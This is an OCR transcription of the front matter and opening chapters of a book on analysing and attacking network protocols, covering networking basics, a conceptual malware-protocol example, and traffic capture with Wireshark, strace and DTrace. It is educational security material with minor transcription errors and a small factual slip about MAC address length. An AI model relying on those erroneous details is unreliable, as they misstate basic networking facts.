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FOREWORD

When I first met James Forshaw, I worked in what Popular Science
described in 2007 as one of the top ten worst jobs in science: a “Microsoft
Security Grunt.” This was the broad-swath label the magazine used for
anyone working in the Microsoft Security Response Center (MSRC). What
positioned our jobs as worse than “whale-feces researcher” but somehow
better than “elephant vasectomist” on this list (so famous among those of us
who suffered in Redmond, WA, that we made t-shirts) was the relentless
drumbeat of incoming security bug reports in Microsoft products.

It was here in MSRC that James, with his keen and creative eye toward
the uncommon and overlooked, first caught my attention as a security
strategist. James was the author of some of the most interesting security bug
reports. This was no small feat, considering the MSRC was receiving
upwards of 200,000 security bug reports per year from security researchers.
James was finding not only simple bugs—he had taken a look at the NET
framework and found architecture-level issues. While these architecture-
level bugs were harder to address in a simple patch, they were much more
valuable to Microsoft and its customers.

Fast-forward to the creation of Microsoft’s first bug bounty programs,
which I started at the company in June of 2013. We had three programs in
that initial batch of bug bounties—programs that promised to pay security
researchers like James cash in exchange for reporting the most serious bugs
to Microsoft. I knew that for these programs to prove their efficacy, we
needed high-quality security bugs to be turned in.

If we built it, there was no guarantee that the bug finders would come.
We knew we were competing for some of the most highly skilled bug
hunting eyes in the world. Numerous other cash rewards were available, and
not all of the bug markets were for defense. Nation-states and criminals had
a well-established offense market for bugs and exploits, and Microsoft was
relying on the finders who were already coming forward at the rate of
200,000 bug reports per year for free. The bounties were to focus the
attention of those friendly, altruistic bug hunters on the problems Microsoft
needed the most help with eradicating.

So of course, I called on James and a handful of others, because I was



counting on them to deliver the buggy goods. For these first Microsoft bug
bounties, we security grunts in the MSRC really wanted vulnerabilities for
Internet Explorer (IE) 11 beta, and we wanted something no software
vendor had ever tried to set a bug bounty on before: we wanted to know
about new exploitation techniques. That latter bounty was known as the
Mitigation Bypass Bounty, and worth $100,000 at the time.

I remember sitting with James over a beer in London, trying to get him
excited about looking for IE bugs, when he explained that he’d never looked
at browser security much before and cautioned me not to expect much from
him.

James nevertheless turned in four unique sandbox escapes for IE 11 beta.

Four.

These sandbox escapes were in areas of the IE code that our internal
teams and private external penetration testers had all missed. Sandbox
escapes are essential to helping other bugs be more reliably exploitable.
James earned bounties for all four bugs, paid for by the IE team itself, plus
an extra $5,000 bonus out of my bounty budget. Looking back, I probably
should have given him an extra $50,000. Because wow. Not bad for a bug
hunter who had never looked at web browser security before.

Just a few months later, I was calling James on the phone from outside a
Microsoft cafeteria on a brisk autumn day, absolutely breathless, to tell him
that he had just made history. This particular Microsoft Security Grunt
couldn’t have been more thrilled to deliver the news that his entry for one of
the other Microsoft bug bounty programs—the Mitigation Bypass Bounty
for $100,000—had been accepted. James Forshaw had found a unique new
way to bypass all the platform defenses using architecture-level flaws in the
latest operating system and won the very first $100,000 bounty from
Microsoft.

On that phone call, as I recall the conversation, he said he pictured me
handing him a comically-huge novelty check onstage at Microsoft’s internal
BlueHat conference. I sent the marketing department a note after that call,
and in an instant, “James and the Giant Check” became part of Microsoft
and internet history forever.
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What I am certain readers will gain in the following pages of this book
are pieces of James’s unparalleled brilliance—the same brilliance that I saw
arching across a bug report or four so many years ago. There are precious
few security researchers who can find bugs in one advanced technology, and
fewer still who can find them in more than one with any consistency. Then
there are people like James Forshaw, who can focus on deeper architecture
issues with a surgeon’s precision. I hope that those reading this book, and
any future book by James, treat it like a practical guide to spark that same
brilliance and creativity in their own work.

In a bug bounty meeting at Microsoft, when the IE team members were
shaking their heads, wondering how they could have missed some of the
bugs James reported, I stated simply, “James can see the Lady in the Red
Dress, as well as the code that rendered her, in the Matrix.” All of those
around the table accepted this explanation for the kind of mind at work in
James. He could bend any spoon; and by studying his work, if you have an
open mind, then so might you.

For all the bug finders in the world, here is your bar, and it is high. For
all the untold numbers of security grunts in the world, may all your bug
reports be as interesting and valuable as those supplied by the one and only
James Forshaw.

Katie Moussouris
Founder and CEO, Luta Security
October 2017



ACKNOWLEDGMENTS

I'd like to thank you for reading my book; I hope you find it enlightening
and of practical use. I'm grateful for the contributions from many different
people.

I must start by thanking my lovely wife Huayi, who made sure I stuck to
writing even if I really didn’t want to. Through her encouragement, I
finished it in only four years; without her maybe it could have been written
in two, but it wouldn’t have been as much fun.

Of course, I definitely wouldn’t be here today without my amazing
parents. Their love and encouragement has led me to become a widely
recognized computer security researcher and published author. They bought
the family a computer—an Atari 400—when 1 was young, and they were
instrumental in starting my interest in computers and software development.
I can’t thank them enough for giving me all my opportunities.

Acting as a great counterpoint to my computer nerdiness was my oldest
friend, Sam Shearon. Always the more confident and outgoing person and an
incredible artist, he made me see a different side to life.

Throughout my career, there have been many colleagues and friends who
have made major contributions to my achievements. I must highlight
Richard Neal, a good friend and sometimes line manager who gave me the
opportunity to find an interest in computer security, a skill set that suited my
mindset.

I also can’t forget Mike Jordon who convinced me to start working at
Context Information Security in the UK. Along with owners Alex Church
and Mark Raeburn, they gave me the time to do impactful security research,
build my skills in network protocol analysis, and develop tools such as
Canape. This experience of attacking real-world, and typically completely
bespoke, network protocols is what much of the content of this book is based
on.

I must thank Katie Moussouris for convincing me to go for the Microsoft
Mitigation Bypass Bounty, raising my profile massively in the information

security world, and of course for giving me a giant novelty check for
$100,000 for my troubles.



My increased profile didn’t go amiss when the team for Google Project
Zero—a group of world leading security researchers with the goal of making
the platforms that we all rely on more secure—was being set up. Will Harris
mentioned me to the current head of the team, Chris Evans, who convinced
me to interview, and soon I was a Googler. Being a member of such an
excellent team makes me proud.

Finally, I must thank Bill, Laurel, and Liz at No Starch Press for having
the patience to wait for me to finish this book and for giving me solid advice
on how to tackle it. I hope that they, and you, are happy with the final result.



INTRODUCTION

When first introduced, the technology that allowed devices to connect to a
network was exclusive to large companies and governments. Today, most
people carry a fully networked computing device in their pocket, and with
the rise of the Internet of Things (IoT), you can add devices such as your
fridge and our home’s security system to this interconnected world. The
security of these connected devices is therefore increasingly important.
Although you might not be too concerned about someone disclosing the
details of how many yogurts you buy, if your smartphone is compromised
over the same network as your fridge, you could lose all your personal and
financial information to a malicious attacker.

This book is named Attacking Network Protocols because to find security
vulnerabilities in a network-connected device, you need to adopt the mind-
set of the attacker who wants to exploit those weaknesses. Network protocols
communicate with other devices on a network, and because these protocols
must be exposed to a public network and often don’t undergo the same level
of scrutiny as other components of a device, they’re an obvious attack target.

Why Read This Book?

Many books discuss network traffic capture for the purposes of diagnostics
and basic network analysis, but they don’t focus on the security aspects of the
protocols they capture. What makes this book different is that it focuses on
analyzing custom protocols to find security vulnerabilities.

This book is for those who are interested in analyzing and attacking
network protocols but don’t know where to start. The chapters will guide
you through learning techniques to capture network traffic, performing
analysis of the protocols, and discovering and exploiting security
vulnerabilities. The book provides background information on networking
and network security, as well as practical examples of protocols to analyze.

Whether you want to attack network protocols to report security
vulnerabilities to an application’s vendor or just want to know how your
latest Io'T device communicates, you’ll find several topics of interest.



What's in This Book?

This book contains a mix of theoretical and practical chapters. For the
practical chapters, I've developed and made available a networking library
called Canape Core, which you can use to build your own tools for protocol
analysis and exploitation. I've also provided an example networked
application called SwuperFunkyChat, which implements a user-to-user chat
protocol. By following the discussions in the chapters, you can use the
example application to learn the skills of protocol analysis and attack the
sample network protocols. Here is a brief breakdown of each chapter:

Chapter 1: The Basics of Networking

This chapter describes the basics of computer networking with a
particular focus on TCP/IP, which forms the basis of application-level
network protocols. Subsequent chapters assume that you have a good
grasp of the network basics. This chapter also introduces the approach 1
use to model application protocols. The model breaks down the
application protocol into flexible layers and abstracts complex technical
detail, allowing you to focus on the bespoke parts of the protocol you’re
analyzing.

Chapter 2: Capturing Application Traffic
This chapter introduces the concepts of passive and active capture of
network traffic, and it’s the first chapter to use the Canape Core network
libraries for practical tasks.

Chapter 3: Network Protocol Structures
This chapter contains details of the internal structures that are common
across network protocols, such as the representation of numbers or
human-readable text. When you’re analyzing captured network traffic,
you can use this knowledge to quickly identify common structures,
speeding up your analysis.

Chapter 4: Advanced Application Traffic Capture
This chapter explores a number of more advanced capture techniques
that complement the examples in Chapter 2. The advanced capture
techniques include configuring Network Address Translation to redirect
traffic of interest and spoofing the address resolution protocol.



Chapter 5: Analysis from the Wire

This chapter introduces methods for analyzing captured network traffic
using the passive and active techniques described in Chapter 2. In this
chapter, we begin using the SwuperFunkyChat application to generate
example traffic.

Chapter 6: Application Reverse Engineering
This chapter describes techniques for reverse engineering network-
connected programs. Reverse engineering allows you to analyze a
protocol without needing to capture example traffic. These methods also
help to identify how custom encryption or obfuscation is implemented so
you can better analyze traffic you’ve captured.

Chapter 7: Network Protocol Security
This chapter provides background information on techniques and
cryptographic algorithms used to secure network protocols. Protecting
the contents of network traffic from disclosure or tampering as it travels
over public networks is of the utmost importance for network protocol
security.

Chapter 8: Implementing the Network Protocol
This chapter explains techniques for implementing the application
network protocol in your own code so you can test the protocol’s
behavior to find security weaknesses.

Chapter 9: The Root Causes of Vulnerabilities
This chapter describes common security vulnerabilities you’ll encounter
in a network protocol. When you understand the root causes of
vulnerabilities, you can more easily identify them during analysis.

Chapter 10: Finding and Exploiting Security Vulnerabilities
This chapter describes processes for finding security vulnerabilities based
on the root causes in Chapter 9 and demonstrates a number of ways of
exploiting them, including developing your own shell code and bypassing
exploit mitigations through return-oriented programming.

Appendix: Network Protocol Analysis Toolkit



In the appendix, you'll find descriptions of some of the tools I commonly
use when performing network protocol analysis. Many of the tools are
described briefly in the main body of the text as well.

How to Use This Book

If you want to start with a refresher on the basics of networking, read
Chapter 1 first. When you’re familiar with the basics, proceed to Chapters 2,
3, and 5 for practical experience in capturing network traffic and learning the
network protocol analysis process.

With the knowledge of the principles of network traffic capture and
analysis, you can then move on to Chapters 7 through 10 for practical
information on how to find and exploit security vulnerabilities in these
protocols. Chapters 4 and 6 contain more advanced information about
additional capture techniques and application reverse engineering, so you
can read them after you’ve read the other chapters if you prefer.

For the practical examples, youll need to install .NET Core
(https://www.microsoft.com/net/core/), which is a cross-platform version of the
NET runtime from Microsoft that works on Windows, Linux, and macOS.
You can then download releases for Canape Core from
https://github.com/tyranid/ CANAPE. Core/releases/ and SuperFunkyChat from
https://github.com/tyranid/ExampleChatApplication/releases/; both use .NET
Core as the runtime. Links to each site are available with the book’s
resources at hitps://www.nostarch.com/networkprotocols/.

To execute the example Canape Core scripts, you’ll need to use the
CANAPE.Cli application, which will be in the release package downloaded
from the Canape Core Github repository. Execute the script with the
following command line, replacing script.csx with the name of the script you
want to execute.

dotnet exec CANAPE.Cli.d1ll script.csx

All example listings for the practical chapters as well as packet captures
are available on the book’s page at https://www.nostarch.com/networkprotocols/.
It’s best to download these example listings before you begin so you can
follow the practical chapters without having to enter a large amount of
source code manually.
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Contact Me

I'm always interested in receiving feedback, both positive and negative, on
my work, and this book is no exception. You can email me at
attacking.network.protocols@gmail.com. You can also follow me on Twitter
@tiraniddo or subscribe to my blog at hetps://tyranidslair.blogspot.com/ where 1
post some of my latest advanced security research.


mailto:attacking.network.protocols@gmail.com
https://tyranidslair.blogspot.com/

1
THE BASICS OF NETWORKING

To attack network protocols, you need to understand the basics of computer
networking. The more you understand how common networks are built and
function, the easier it will be to apply that knowledge to capturing,
analyzing, and exploiting new protocols.

Throughout this chapter, I'll introduce basic network concepts you’ll
encounter every day when you’re analyzing network protocols. T’ll also lay
the groundwork for a way to think about network protocols, making it easier
to find previously unknown security issues during your analysis.

Network Architecture and Protocols

Let’s start by reviewing some basic networking terminology and asking the
fundamental question: what is a network? A network is a set of two or more
computers connected together to share information. It’s common to refer to
each connected device as a node on the network to make the description
applicable to a wider range of devices. Figure 1-1 shows a very simple
example.

MNetwork
Workstation Mainframe
node node
o
Server
node

Figure 1-1: A simple network of three nodes

The figure shows three nodes connected with a common network. Each



node might have a different operating system or hardware. But as long as
each node follows a set of rules, or network protocol, it can communicate with
the other nodes on the network. To communicate correctly, all nodes on a
network must understand the same network protocol.

A network protocol serves many functions, including one or more of the
following:

Maintaining session state Protocols typically implement mechanisms
to create new connections and terminate existing connections.

Identifying nodes through addressing Data must be transmitted to the
correct node on a network. Some protocols implement an addressing
mechanism to identify specific nodes or groups of nodes.

Controlling flow The amount of data transferred across a network is
limited. Protocols can implement ways of managing data flow to increase
throughput and reduce latency.

Guaranteeing the order of transmitted data Many networks do not
guarantee that the order in which the data is sent will match the order in
which it’s received. A protocol can reorder the data to ensure it’s
delivered in the correct order.

Detecting and correcting errors Many networks are not 100 percent
reliable; data can become corrupted. It’s important to detect corruption
and, ideally, correct it.

Formatting and encoding data Data isn’t always in a format suitable for
transmitting on the network. A protocol can specify ways of encoding
data, such as encoding English text into binary values.

The Internet Protocol Suite

TCP/IP is the de facto protocol that modern networks use. Although you
can think of TCP/IP as a single protocol, it’s actually a combination of two
protocols: the Transmission Control Protocol (I'CP) and the Internet Protocol
(IP). These two protocols form part of the Internet Protocol Suite (IPS), a
conceptual model of how network protocols send network traffic over the
internet that breaks down network communication into four layers, as shown
in Figure 1-2.
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Figure 1-2: Internet Protocol Suite layers

These four layers form a protocol stack. The following list explains each
layer of the IPS:

Link layer (layer 1) This layer is the lowest level and describes the
physical mechanisms used to transfer information between nodes on a
local network. Well-known examples include Ethernet (both wired and
wireless) and Point-to-Point Protocol (PPP).

Internet layer (layer 2) This layer provides the mechanisms for
addressing network nodes. Unlike in layer 1, the nodes don’t have to be
located on the local network. This level contains the IP; on modern
networks, the actual protocol used could be either version 4 (IPv4) or
version 6 (IPv6).

Transport layer (layer 3) This layer is responsible for connections
between clients and servers, sometimes ensuring the correct order of
packets and providing service multiplexing. Service multiplexing allows a
single node to support multiple different services by assigning a different
number for each service; this number is called a port. TCP and the User



Datagram Protocol (UDP) operate on this layer.

Application layer (layer 4) This layer contains network protocols, such
as the HyperText Transport Protocol (HTTP), which transfers web page
contents; the Simple Mail Transport Protocol (SMTP), which transfers
email; and the Domain Name System (DNS) protocol, which converts a
name to a node on the network. Throughout this book, we’ll focus
primarily on this layer.

Each layer interacts only with the layer above and below it, but there

must be some external interactions with the stack. Figure 1-2 shows two
external connections. The link layer interacts with a physical network
connection, transmitting data in a physical medium, such as pulses of
electricity or light. The application layer interacts with the user application:
an application is a collection of related functionality that provides a service to
a user. Figure 1-3 shows an example of an application that processes email.
The service provided by the mail application is the sending and receiving of
messages over a network.

Mail application

O

User interface Content parsers
HTML rendering Text, HTML, JPEG

t ¢

MNetwork communication < MNetwork -
SMTP, POP3, IMAP

Mail server

Figure 1-3: Example mail application

Typically, applications contain the following components:

Network communication This component communicates over the
network and processes incoming and outgoing data. For a mail
application, the network communication is most likely a standard

protocol, such as SM'TP or POP3.

Content parsers Data transferred over a network usually contains
content that must be extracted and processed. Content might include
textual data, such as the body of an email, or it might be pictures or



video.

User interface (UI) The Ul allows the user to view received emails and
to create new emails for transmission. In a mail application, the UI might
display emails using HI'ML in a web browser.

Note that the user interacting with the UI doesn’t have to be a human
being. It could be another application that automates the sending and
receiving of emails through a command line tool.

Data Encapsulation

Each layer in the IPS is built on the one below, and each layer is able to
encapsulate the data from the layer above so it can move between the layers.
Data transmitted by each layer is called a protocol data unit (PDU).

Headers, Footers, and Addresses

The PDU in each layer contains the payload data that is being transmitted.
It’s common to prefix a header—which contains information required for the
payload data to be transmitted, such as the addresses of the source and
destination nodes on the network—to the payload data. Sometimes a PDU
also has a footer that is suffixed to the payload data and contains values

needed to ensure correct transmission, such as error-checking information.
Figure 1-4 shows how the PDUs are laid out in the IPS.
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Figure 1-4: |PS data encapsulation

The TCP header contains a source and destination port number @.
These port numbers allow a single node to have multiple unique network
connections. Port numbers for TCP (and UDP) range from 0 to 65535.
Most port numbers are assigned as needed to new connections, but some
numbers have been given special assignments, such as port 80 for HT'TP.
(You can find a current list of assigned port numbers in the /etc/services file
on most Unix-like operating systems.) A TCP payload and header are
commonly called a segment, whereas a UDP payload and header are
commonly called a datagram.

The IP protocol uses a source and a destination address @. The
destination address allows the data to be sent to a specific node on the
network. The source address allows the receiver of the data to know which
node sent the data and allows the receiver to reply to the sender.

IPv4 uses 32-bit addresses, which you’ll typically see written as four
numbers separated by dots, such as 192.168.10.1. IPv6 uses 128-bit
addresses, because 32-bit addresses aren’t sufficient for the number of nodes
on modern networks. IPv6 addresses are usually written as hexadecimal
numbers separated by colons, such as



£e80:0000:0000:0000:897b:581e:44b0:2057. Long strings of 0000 numbers
are collapsed into two colons. For example, the preceding IPv6 address can
also be written as fe80::897b:581e:44b0:2057. An IP payload and header are
commonly called a packer.

Ethernet also contains source and destination addresses ®. Ethernet uses
a 64-bit value called a Media Access Control (MAC) address, which is typically
set during manufacture of the Ethernet adapter. You’'ll usually see MAC
addresses written as a series of hexadecimal numbers separated by dashes or
colons, such as 0A-00-27-00-00-OE. The Ethernet payload, including the
header and footer, is commonly referred to as a framze.

Data Transmission

Let’s briefly look at how data is transferred from one node to another using
the IPS data encapsulation model. Figure 1-5 shows a simple Ethernet
network with three nodes.

192.1:1.100

° ¢EM

192.1.1.101 e
MAC: 00-11-22-33-44-55

192.1.1.50
MAC: 66-77-88-99-AA-BB

Figure 1-5: A simple Ethernet network

In this example, the node at @ with the IP address 192.1.1.101 wants to
send data using the IP protocol to the node at @ with the IP address
192.1.1.50. (The switch device © forwards Ethernet frames between all nodes



on the network. The switch doesn’t need an IP address because it operates
only at the link layer.) Here is what takes place to send data between the two
nodes:

1. The operating system network stack node @ encapsulates the

application and transport layer data and builds an IP packet with a
source address of 192.1.1.101 and a destination address of 192.1.1.50.

2. The operating system can at this point encapsulate the IP data as an
Ethernet frame, but it might not know the MAC address of the target
node. It can request the MAC address for a particular IP address using
the Address Resolution Protocol (ARP), which sends a request to all
nodes on the network to find the MAC address for the destination IP
address.

3. Once the node at @ receives an ARP response, it can build the frame,
setting the source address to the local MAC address of 00-11-22-33-44-
55 and the destination address to 66-77-88-99-AA-BB. The new frame

is transmitted on the network and is received by the switch ©.

4. 'The switch forwards the frame to the destination node, which unpacks
the IP packet and verifies that the destination IP address matches. Then
the IP payload data is extracted and passes up the stack to be received by
the waiting application.

Network Routing

Ethernet requires that all nodes be directly connected to the same local
network. This requirement is a major limitation for a truly global network
because it’s not practical to physically connect every node to every other
node. Rather than require that all nodes be directly connected, the source
and destination addresses allow data to be routed over different networks
until the data reaches the desired destination node, as shown in Figure 1-6.
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Figure 1-6: An example of a routed network connecting two Ethernet networks

Figure 1-6 shows two Ethernet networks, each with separate IP network
address ranges. The following description explains how the IP uses this

model to send data from the node at @ on network 1 to the node at ® on
network 2.

1. The operating system network stack node @ encapsulates the
application and transport layer data, and it builds an IP packet with a
source address of 192.1.1.101 and a destination address of 200.0.1.50.

2. The network stack needs to send an Ethernet frame, but because the
destination IP address does not exist on any Ethernet network that the
node is connected to, the network stack consults its operating system
routing table. In this example, the routing table contains an entry for the

IP address 200.0.1.50. The entry indicates that a router © on IP address
192.1.1.1 knows how to get to that destination address.

3. The operating system uses ARP to look up the router’s MAC address at
192.1.1.1, and the original IP packet is encapsulated within the Ethernet
frame with that MAC address.

4. The router receives the Ethernet frame and unpacks the IP packet.
When the router checks the destination IP address, it determines that
the IP packet is not destined for the router but for a different node on
another connected network. The router looks up the MAC address of
200.0.1.50, encapsulates the original IP packet into the new Ethernet
frame, and sends it on to network 2.



5. The destination node receives the Ethernet frame, unpacks the IP
packet, and processes its contents.

This routing process might be repeated multiple times. For example, if
the router was not directly connected to the network containing the node
200.0.1.50, it would consult its own routing table and determine the next
router it could send the IP packet to.

Clearly, it would be impractical for every node on the network to know
how to get to every other node on the internet. If there is no explicit routing
entry for a destination, the operating system provides a default routing table
entry, called the default gateway, which contains the IP address of a router
that can forward IP packets to their destinations.

My Model for Network Protocol Analysis

The IPS describes how network communication works; however, for analysis
purposes, most of the IPS model is not relevant. It’s simpler to use my model
to understand the behavior of an application network protocol. My model
contains three layers, as shown in Figure 1-7, which illustrates how I would
analyze an HT'TP request.

Here are the three layers of my model:

Content layer Provides the meaning of what is being communicated. In
Figure 1-7, the meaning is making an HTTP request for the file

1mage.jpg.
Encoding layer Provides rules to govern how you represent your

content. In this example, the HI'T'P request is encoded as an HTTP
GET request, which specifies the file to retrieve.

Transport layer Provides rules to govern how data is transferred
between the nodes. In the example, the HI'TP GET request is sent over
a TCP/IP connection to port 80 on the remote node.
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Figure 1-7: My conceptual protocol model

Splitting the model this way reduces complexity with application-specific
protocols because it allows us to filter out details of the network protocol
that aren’t relevant. For example, because we don’t really care how TCP/IP
is sent to the remote node (we take for granted that it will get there
somehow), we simply treat the TCP/IP data as a binary transport that just
works.

To understand why the protocol model is useful, consider this protocol
example: imagine you’re inspecting the network traffic from some malware.
You find that the malware uses HI'TP to receive commands from the
operator via the server. For example, the operator might ask the malware to
enumerate all files on the infected computer’s hard drive. The list of files can
be sent back to the server, at which point the operator can request a specific

file to be uploaded.

If we analyze the protocol from the perspective of how the operator
would interact with the malware, such as by requesting a file to be uploaded,
the new protocol breaks down into the layers shown in Figure 1-8.
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Figure 1-8: The conceptual model for a malware protocol using HTTP

The following list explains each layer of the new protocol model:

Content layer The malicious application is sending a stolen file called
secret.doc to the server.

Encoding layer The encoding of the command to send the stolen file is
a simple text string with a command seno followed by the filename and

the file data.

Transport layer The protocol uses an HT'TP request parameter to
transport the command. It wuses the standard percent-encoding
mechanism, making it a legal HT'TP request.

Notice in this example that we don’t consider the HT'TP request being
sent over TCP/IP; we’ve combined the encoding and transport layer in
Figure 1-7 into just the transport layer in Figure 1-8. Although the malware
still uses lower-level protocols, such as TCP/IP, these protocols are not
important to the analysis of the malware command to send a file. The reason
it’s not important is that we can consider HT'T'P over TCP/IP as a single
transport layer that just works and focus specifically on the unique malware
commands.

By narrowing our scope to the layers of the protocol that we need to
analyze, we avoid a lot of work and focus on the unique aspects of the
protocol. On the other hand, if we were to analyze this protocol using the
layers in Figure 1-7, we might assume that the malware was simply



requesting the file image.jpg, because it would appear as though that was all
the HTTP request was doing.

Final Words

This chapter provided a quick tour of the networking basics. I discussed the
IPS, including some of the protocols you’ll encounter in real networks, and
described how data is transmitted between nodes on a local network as well
as remote networks through routing. Additionally, I described a way to think
about application network protocols that should make it easier for you to
focus on the unique features of the protocol to speed up its analysis.

In Chapter 2, we’ll use these networking basics to guide us in capturing
network traffic for analysis. The goal of capturing network traffic is to access
the data you need to start the analysis process, identify what protocols are
being used, and ultimately discover security issues that you can exploit to
compromise the applications using these protocols.



2
CAPTURING APPLICATION TRAFFIC

Surprisingly, capturing useful traffic can be a challenging aspect of protocol
analysis. This chapter describes two different capture techniques: passive and
active. Passive capture doesn’t directly interact with the traffic. Instead, it
extracts the data as it travels on the wire, which should be familiar from tools
like Wireshark. You’ll find that different applications provide different
mechanisms (which have their own advantages and disadvantages) to redirect
traffic. Active capture interferes with traffic between a client application and
the server; this has great power but can cause some complications. You can
think of active capture in terms of proxies or even a man-in-the-middle
attack. Let’s look at both active and passive techniques in more depth.

Passive Network Traffic Capture

Passive capture is a relatively easy technique: it doesn’t typically require any
specialist hardware, nor do you usually need to write your own code. Figure
2-1 shows a common scenario: a client and server communicating via
Ethernet over a network.
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Figure 2-1: An example of passive network capture

Passive network capture can take place either on the network by tapping
the traffic as it passes in some way or by sniffing directly on either the client
or server host.

Quick Primer for Wireshark

Wireshark is perhaps the most popular packet-sniffing application available.
It’s cross platform and easy to use, and it comes with many built-in protocol
analysis features. In Chapter 5 you’ll learn how to write a dissector to aid in
protocol analysis, but for now, let’s set up Wireshark to capture IP traffic
from the network.

To capture traffic from an Ethernet interface (wired or wireless), the
capturing device must be in promiscuous mode. A device in promiscuous mode
receives and processes any Ethernet frame it sees, even if that frame wasn’t
destined for that interface. Capturing an application running on the same
computer is easy: just monitor the outbound network interface or the local
loopback interface (better known as localhost). Otherwise, you might need
to use networking hardware, such as a hub or a configured switch, to ensure
traffic is sent to your network interface.

Figure 2-2 shows the default view when capturing traffic from an



Ethernet interface.
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Figure 2-2: The default Wireshark view

There are three main view areas. Area @ shows a timeline of raw packets
captured off the network. The timeline provides a list of the source and
destination IP addresses as well as decoded protocol summary information.

Area @ provides a dissected view of the packet, separated into distinct

protocol layers that correspond to the OSI network stack model. Area ©
shows the captured packet in its raw form.

The TCP network protocol is stream based and designed to recover from
dropped packets or data corruption. Due to the nature of networks and 1P,
there is no guarantee that packets will be received in a particular order.
Therefore, when you are capturing packets, the timeline view might be
difficult to interpret. Fortunately, Wireshark offers dissectors for known
protocols that will normally reassemble the entire stream and provide all the
information in one place. For example, highlicht a packet in a TCP



connection in the timeline view and then select Analyze » Follow TCP
Stream from the main menu. A dialog similar to Figure 2-3 should appear.
For protocols without a dissector, Wireshark can decode the stream and
present it in an easy-to-view dialog.
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Figure 2-3: Following a TCP stream

Wireshark is a comprehensive tool, and covering all of its features is
beyond the scope of this book. If you’re not familiar with it, obtain a good
reference, such as Practical Packet Analysis, 3rd Edition (No Starch Press,
2017), and learn many of its useful features. Wireshark is indispensable for
analyzing application network traffic, and it’s free under the General Public

License (GPL).

Alternative Passive Capture Techniques

Sometimes using a packet sniffer isn’t appropriate, for example, in situations



when you don’t have permission to capture traffic. You might be doing a
penetration test on a system with no administrative access or a mobile device
with a limited privilege shell. You might also just want to ensure that you
look at traffic only for the application you’re testing. That’s not always easy
to do with packet sniffing unless you correlate the traffic based on time. In
this section, I’ll describe a few techniques for extracting network traffic from
a local application without using a packet-sniffing tool.

System Call Tracing

Many modern operating systems provide two modes of execution. Kernel
mode runs with a high level of privilege and contains code implementing the
OS’s core functionality. User mode is where everyday processes run. The
kernel provides services to user mode by exporting a collection of special
system calls (see Figure 2-4), allowing users to access files, create processes—
and most important for our purposes—connect to networks.
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Figure 2-4: An example of user-to-kernel network communication via system calls

When an application wants to connect to a remote server, it issues special
system calls to the OS’s kernel to open a connection. The app then reads and
writes the network data. Depending on the operating system running your
network applications, you can monitor these calls directly to passively extract
data from an application.

Most Unix-like systems implement system calls resembling the Berkeley
Sockets model for network communication. This isn’t surprising, because
the IP protocol was originally implemented in the Berkeley Software
Distribution (BSD) 4.2 Unix operating system. This socket implementation
is also part of POSIX, making it the de facto standard. Table 2-1 shows
some of the more important system calls in the Berkeley Sockets API.

Table 2-1: Common Unix System Calls for Networking




Name Description

cocket  Creates a new socket file descriptor.

connect  Connects a socket to a known IP address and port.

bind Binds the socket to a local known IP address and port.
recv,  Receives data from the network via the socket. The generic
read,  function read is for reading from a file descriptor, whereas recv and

recvfron recvfrom are specific to the socket’s API.

send, Sends data over the network via the socket.

write,
sendfrom

To learn more about how these system calls work, a great resource is The
TCP/IP Guide (No Starch Press, 2005). Plenty of online resources are also
available, and most Unix-like operating systems include manuals you can
view at a terminal using the command man 2 syscall_name. Now let’s look at
how to monitor system calls.

The strace Utility on Linux

In Linux, you can directly monitor system calls from a user program without
special permissions, unless the application you want to monitor runs as a
privileged user. Many Linux distributions include the handy utility strace,
which does most of the work for you. If it isn’t installed by default, download
it from your distribution’s package manager or compile it from source.

Run the following command, replacing /path/to/app with the application
you're testing and args with the necessary parameters, to log the network
system calls used by that application:

$ strace -e trace=network,read,write /path/to/app args

Let’s monitor a networking application that reads and writes a few strings
and look at the output from strace. Listing 2-1 shows four log entries
(extraneous logging has been removed from the listing for brevity).

$ strace -e trace=network,read,write customapp
--snip--



© socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3

® connect(3, {sa_family=AF_INET, sin_port=htons(5555),
sin_addr=inet_addr("192.168.10.1")}, 16) = 0
© write(3, "Hello World!\n", 13) =13

O read(3, "Boo!\n", 2048) =5

Listing 2-1: Example output of the strace utility

The first entry @ creates a new T'CP socket, which is assigned the handle

3. The next entry @ shows the connect system call used to make a TCP
connection to IP address 192.168.10.1 on port 5555. The application then

writes the string Hello World! ® before reading out a string Boo! @. The output
shows it’s possible to get a good idea of what an application is doing at the
system call level using this utility, even if you don’t have high levels of
privilege.

Monitoring Network Connections with DTrace

DTrace is a very powerful tool available on many Unix-like systems,
including Solaris (where it was originally developed), macOS, and FreeBSD.
It allows you to set system-wide probes on special trace providers, including
system calls. You configure D'Trace by writing scripts in a language with a
C-like syntax. For more details on this tool, refer to the DTrace Guide
online at http://www.dtracebook.com/index.php/D Trace_Guide.

Listing 2-2 shows an example of a script that monitors outbound IP
connections using D'Trace.

traceconnect.d

/* traceconnect.d - A simple DTrace script to monitor a connect system call */
@ struct sockaddr_in {

short sin_family;
unsigned short sin_port;
in_addr_t sin_addr;
char sin_zero[8];

};

® syscall::connect:entry

©® /arg2 == sizeof(struct sockaddr_in)/
{
O addr = (struct sockaddr_in*)copyin(argl, arg2);

O printf("process:'%s' %s:%d", execname, inet_ntop(2, &addr->sin_addr),


http://www.dtracebook.com/index.php/DTrace_Guide

ntohs(addr->sin_port));
}

Listing 2-2: A simple DTrace script to monitor a connect system call

This simple script monitors the connect system call and outputs IPv4 TCP
and UDP connections. The system call takes three parameters, represented
by arge, arg1, and arg2 in the D'Trace script language, that are initialized for us
in the kernel. The arge parameter is the socket file descriptor (that we don’t
need), argt is the address of the socket we’re connecting to, and arg2 is the
length of that address. Parameter o is the socket handle, which is not needed
in this case. The next parameter is the user process memory address of a
socket address structure, which is the address to connect to and can be
different sizes depending on the socket type. (For example, IPv4 addresses
are smaller than IPv6.) The final parameter is the length of the socket
address structure in bytes.

The script defines a sockaddr_in structure that is used for IPv4 connections
at @; in many cases these structures can be directly copied from the system’s

C header files. The system call to monitor is specified at @. At ©, a D'Trace-
specific filter is used to ensure we trace only connect calls where the socket

address is the same size as sockaddr_in. At @, the sockaddr_in structure is copied

from your process into a local structure for D'Trace to inspect. At @, the
process name, the destination IP address, and the port are printed to the
console.

To run this script, copy it to a file called #raceconnect.d and then run the
command dtrace -s traceconnect.d as the root user. When you use a network-
connected application, the output should look like Listing 2-3.

process: 'Google Chrome' 173.194.78.125:5222
process: 'Google Chrome' 173.194.66.95:443
process: 'Google Chrome' 217.32.28.199:80
process: 'ntpd’ 17.72.148.53:123
